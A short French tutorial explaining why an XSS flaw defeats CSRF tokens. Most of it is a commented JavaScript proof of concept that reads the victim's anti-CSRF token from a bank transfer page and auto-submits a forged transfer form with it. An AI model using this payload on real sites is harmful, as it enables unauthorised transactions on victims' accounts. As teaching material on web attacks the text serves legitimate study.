XSS into CSRF

Si une faille XSS est présente sur votre application alors la mise en place de token CSRF ne sera pas suffisante pour la protéger. En effet il sera assez aisé pour un attaquant de récupérer à la volé la valeur du token CSRF afin de l'implémenter dans son payload.

Le code JavaScript suivant présente un cas d'exploitation de XSS into CSRF:

<!--Forumulaire utilisé lors de la CSRF-->
<form action="https://banque.com/virement.php" method="post" name="csrf" enctype="multipart/form-data">
	<!--Ensemble des champs à compléter-->
	<input id="nom" type="text" name="nom" value="d">
	<input id="status" type="text" name="status">
	<!--Le fameux token caché-->
	<input id="token" type="hidden" name="token" value="" />
	<!--Le bouton submit-->
	<button type="submit">PLS</button>
</form>

//Ici nous allons nous servir de l'objet XMLHttpRequest qui permet d'envoyer des requêtes HTTP
requete = new XMLHttpRequest();

//Ajout de la méthode, de la cible ainsi qu'un d'un booléan toujours à true (false étant déprécié) dont l'intérêt est de déclarer si la requête est synchrone ou asynchrone.
requete.open("POST", "https://banque.com/virement.php?", true);

//Ajout des header
requete.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

//Envoi de la requête 
requete.send();

//On récupère la réponse du serveur dans laquelle se trouve le jeton de l'admin. Ici il sera important de bien identifier le jeton c'est à dire savoir si c'est un hash sha1/2/256, md4/5 ou un nombre random... Tout dépend de la situation.
token = (requete.responseText.match(/[abcdef0123456789]{32}/));

//On insert la valeur obtenue dans le formulaire ci dessus.
document.getElementById('token').setAttribute('value', token)

//Et on envoie le formulaire avec le token de l'administrateur.
document.csrf.submit();

A adapter suivant les cas d'utilisation.